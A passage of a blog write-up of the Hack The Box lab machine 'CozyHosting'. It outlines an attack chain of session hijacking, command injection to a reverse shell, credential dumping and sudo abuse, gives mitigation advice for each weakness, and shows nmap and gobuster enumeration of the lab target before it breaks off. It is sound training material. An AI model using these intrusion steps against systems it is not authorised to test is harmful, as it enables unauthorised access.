data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1138,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:283284,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!4zrd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 424w, https://substackcdn.com/image/fetch/$s_!4zrd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 848w, https://substackcdn.com/image/fetch/$s_!4zrd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!4zrd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>CozyHosting is rated as easy. It begins by enumerating a hosting service&#8217;s website and identifying an exposed API endpoint. This leads to hijacking a user&#8217;s session to bypass authentication to an admin dashboard. Unsanitised input on a web form is exploited to obtain a reverse shell on the target.</p><p>From there, the system is enumerated, and hardcoded credentials are found that allow for dumping a user table in a database containing hashed passwords. The password for a second user is cracked, and sudo rights on a binary are exploited to achieve privilege escalation.</p><div><hr></div><h2>Contents</h2><ul><li><p><a href="https://www.emdeh.com/i/145486525/introduction">Introduction</a></p><ul><li><p><a href="https://www.emdeh.com/i/145486525/vulnerabilities-explored">Vulnerabilities explored</a></p><ul><li><p><a href="https://www.emdeh.com/i/145486525/exposed-api-endpoints">Exposed API endpoints</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/session-hijacking">Session hijacking</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/insecure-coding-unsanitised-input">Insecure coding - unsanitised input</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/hardcoded-credentials">Hardcoded credentials</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/misconfigured-sudo-permissions">Misconfigured sudo permissions</a></p></li></ul></li><li><p><a href="https://www.emdeh.com/i/145486525/tactics-tools-and-techniques">Tactics, Tools and Techniques</a></p></li></ul></li><li><p><a href="https://www.emdeh.com/i/145486525/enumeration">Enumeration</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/initial-access">Initial access</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/lateral-movement">Lateral movement</a></p></li><li><p><a href="https://www.emdeh.com/i/145486525/privilege-escalation">Privilege escalation</a></p></li></ul><div><hr></div><h2>Vulnerabilities explored</h2><h3>Exposed API endpoints</h3><p>Exposed API endpoints refer to API interfaces that are accessible without proper authentication or authorisation, potentially exposing sensitive data or allowing unauthorised actions.</p><p><strong>Mitigation Strategies:</strong></p><ol><li><p><strong>Authentication:</strong> Implement strong authentication mechanisms like OAuth, API keys, or JWT tokens to ensure only authorized users can access the API.</p></li><li><p><strong>Authorization:</strong> Use role-based access control (RBAC) to restrict access to API endpoints based on the user's role and permissions.</p></li><li><p><strong>Input Validation:</strong> Validate all inputs to the API to prevent injection attacks and ensure that only valid data is processed.</p></li><li><p><strong>Rate Limiting:</strong> Implement rate limiting to prevent API abuse by limiting the number of requests a user can make in a given timeframe.</p></li><li><p><strong>Encryption:</strong> Use HTTPS to encrypt data transmitted between clients and the API server to protect against man-in-the-middle attacks.</p></li></ol><h3>Session hijacking</h3><p>Session hijacking occurs when a threat actor takes over a valid session by stealing or predicting a session token. This allows the attacker to impersonate the victim and access their data and actions.</p><ul><li><p><strong>HTTPS:</strong> Ensure all communications use HTTPS to encrypt data and protect session tokens from being intercepted.</p></li><li><p><strong>Secure Cookies:</strong> Use secure attributes for cookies (e.g., Secure, HttpOnly, SameSite) to protect session cookies from being accessed or modified by unauthorized users.</p></li><li><p><strong>Session Timeouts:</strong> Implement short session expiration times and automatically log out users after periods of inactivity.</p></li><li><p><strong>Token Rotation:</strong> Regularly rotate session tokens to reduce the risk of token reuse.</p></li><li><p><strong>User-Agent and IP Binding:</strong> Bind sessions to specific IP addresses and user-agent strings to make session hijacking more difficult.</p></li></ul><h3>Insecure coding - unsanitised input</h3><p>Unsanitised input occurs when user inputs are not properly validated or sanitised before being processed by the application. This can lead to vulnerabilities like SQL injection, cross-site scripting (XSS), and, in this case, <strong>command injection</strong>.</p><p><strong>Mitigation Strategies:</strong></p><ol><li><p><strong>Input Validation:</strong> Validate all user inputs against a whitelist of acceptable values to ensure only valid data is processed.</p></li><li><p><strong>Sanitisation:</strong> Sanitise user inputs to remove or escape any potentially dangerous characters or code.</p></li><li><p><strong>Parameterised Queries:</strong> Use parameterised queries or prepared statements to prevent SQL injection attacks.</p></li><li><p><strong>Output Encoding:</strong> Encode data before outputting it to the browser to prevent XSS attacks.</p></li><li><p><strong>Security Libraries:</strong> Use well-established security libraries and frameworks for input validation and sanitisation.</p></li></ol><h3>Hardcoded credentials</h3><p>Hardcoded credentials refer to embedding usernames, passwords, API keys, or other sensitive information directly into the source code. This practice makes it easy for a threat actor to access sensitive systems or move laterally within a compromised system.</p><p><strong>Mitigation Strategies:</strong></p><ol><li><p><strong>Environment Variables:</strong> Store sensitive information in environment variables rather than hardcoding them in the source code.</p></li><li><p><strong>Configuration Files:</strong> Use configuration files that are excluded from version control to store sensitive information.</p></li><li><p><strong>Secret Management Tools:</strong> Use secret management tools to securely manage and access secrets.</p></li><li><p><strong>Access Controls:</strong> Implement strict access controls to limit who can access sensitive configuration files and environment variables.</p></li><li><p><strong>Code Reviews:</strong> Conduct regular code reviews to ensure sensitive information is not hardcoded in the source code.</p></li></ol><h3>Misconfigured sudo permissions</h3><p>When sudo permissions are improperly configured, users can perform actions with elevated privileges they shouldn't be able to. In this case, allowing the user <code>josh</code> to run <code>ssh</code> with sudo and permitting local command execution (<code>PermitLocalCommand</code>) is a significant misconfiguration.</p><p>Mitigation Strategies:</p><ol><li><p><strong>Restrict Sudo Permissions</strong>: Limit the commands that can be executed with sudo. Avoid allowing broad permissions like <code>ALL</code> and instead, specify exact commands without options that can lead to privilege escalation.</p></li><li><p><strong>Disable PermitLocalCommand</strong>: Ensure that <code>PermitLocalCommand</code> is set to <code>no</code> in the SSH configuration to prevent the execution of local commands.</p></li><li><p><strong>Use Role-Based Access Control (RBAC):</strong> Implement RBAC to enforce the principle of least privilege, ensuring users only have the access necessary for their roles.</p></li><li><p><strong>Regular Audits:</strong> Regularly audit sudoers configurations and SSH settings to identify and rectify potential security risks.</p></li></ol><h2>Tactics, Tools and Techniques</h2><h3>Enumeration</h3><p>Nmap and Burpsuite were used to perform initial enumeration on the target. Unfamiliar error messages were researched, which led to an understanding of how to perform more tailored enumeration. Ultimately, this led to finding an exposed API endpoint that revealed active sessions.</p><h3>Initial access</h3><p>An active session under the user &#8220;kanderson&#8221; was hijacked to bypass authentication and gain access to the <strong>/admin </strong>dashboard. Unsanitised input was exploited on the form to obtain a reverse shell.</p><h3>Lateral Movement</h3><p>Enumerating the system identified hardcoded credentials for a Postgres database. Further hashed credentials were dumped, and Hashcat was used to obtain a password for the user &#8220;Josh&#8221;.</p><h3>Privilege escalation</h3><p>Sudo privileges were then abused in the context of Josh&#8217;s account to achieve privilege escalation.</p><div><hr></div><h1>Enumeration</h1><h2>Network scanning</h2><p>As always, Nmap is run to scan the target.</p><pre><code>
&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/cozyhosting/scans]
&#9492;&#9472;$ nmap -A 10.129.229.88 | tee nmap-scan-1.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 23:08 EDT
Nmap scan report for 10.129.229.88
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</code></pre><p>Two ports identified:</p><ul><li><p>Port 80</p></li><li><p>Port 22</p></li></ul><p>The domain <strong>cozyhosting.htb </strong>is identified and added to hosts.</p><pre><code>&#9472;&#9472;(emdeh&#12927;kali)-[~]
&#9492;&#9472;$ echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts
10.129.229.88 cozyhosting.htb</code></pre><h2>Port 80 enumeration</h2><p>A website offering hosting services is found.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UEmb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UEmb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 424w, https://substackcdn.com/image/fetch/$s_!UEmb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 848w, https://substackcdn.com/image/fetch/$s_!UEmb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 1272w, https://substackcdn.com/image/fetch/$s_!UEmb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UEmb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png" width="999" height="676" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a09b8463-858a-467c-9b7f-c01ec0816716_999x676.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:676,&quot;width&quot;:999,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:173393,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UEmb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 424w, https://substackcdn.com/image/fetch/$s_!UEmb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 848w, https://substackcdn.com/image/fetch/$s_!UEmb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 1272w, https://substackcdn.com/image/fetch/$s_!UEmb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa09b8463-858a-467c-9b7f-c01ec0816716_999x676.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><div><hr></div><p>There is a simple login page at <strong>http://cozyhosting.htb/login</strong> designed by BootstrapMade.</p><p>Gobuster was used to enumerate pages. An /admin page giving a 401 Unauthorised response was identified.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/cozyhosting]
&#9492;&#9472;$ gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -t 100 -o gobuster-scan.txt</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mXPS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mXPS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 424w, https://substackcdn.com/image/fetch/$s_!mXPS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 848w, https://substackcdn.com/image/fetch/$s_!mXPS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 1272w, https://substackcdn.com/image/fetch/$s_!mXPS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mXPS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png" width="578" height="356" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:356,&quot;width&quot;:578,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63052,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mXPS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 424w, https://substackcdn.com/image/fetch/$s_!mXPS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 848w, https://substackcdn.com/image/fetch/$s_!mXPS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 1272w, https://substackcdn.com/image/fetch/$s_!mXPS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbd3fcd66-3adf-42ac-a88b-ed2b9ced18ba_578x356.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Navigating to robots.txt returned a &#8220;Whitelabel Error Page&#8221;. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XdxL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XdxL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 424w, https://substackcdn.com/image/fetch/$s_!XdxL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 848w, https://substackcdn.com/image/fetch/$s_!XdxL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 1272w, https://substackcdn.com/image/fetch/$s_!XdxL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XdxL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png" width="559" height="383" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:383,&quot;width&quot;:559,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:48708,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XdxL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 424w, https://substackcdn.com/image/fetch/$s_!XdxL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 848w, https://substackcdn.com/image/fetch/$s_!XdxL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 1272w, https://substackcdn.com/image/fetch/$s_!XdxL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F91b2e175-eb61-4f78-b8cb-f586a42de3b5_559x383.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Googling the error indicated it relates to <em><strong>Spring Boot.</strong></em></p><div class="pullquote"><p><strong>Spring Boot</strong> is an open-source Java-based framework for creating stand-alone, production-grade Spring applications with minimal effort. It is part of the larger Spring Framework ecosystem, which provides comprehensive infrastructure support for developing Java applications.</p></div><p>SecLists have a <a href="https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt">wordlist specific to Spring Boot</a>.</p><p>Gobuster is used to enumerate for further pages, identifying several endpoints at <strong>/actuator</strong>.</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/cozyhosting/scans]
&#9492;&#9472;$ gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt -t 100 -o gobuster-scan-1.txt</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XQd_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XQd_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 424w, https://substackcdn.com/image/fetch/$s_!XQd_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 848w, https://substackcdn.com/image/fetch/$s_!XQd_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 1272w, https://substackcdn.com/image/fetch/$s_!XQd_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XQd_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F53b12952-272c-44ab-9d23-14be2692b23f_797x443.png" width="797" height="443" 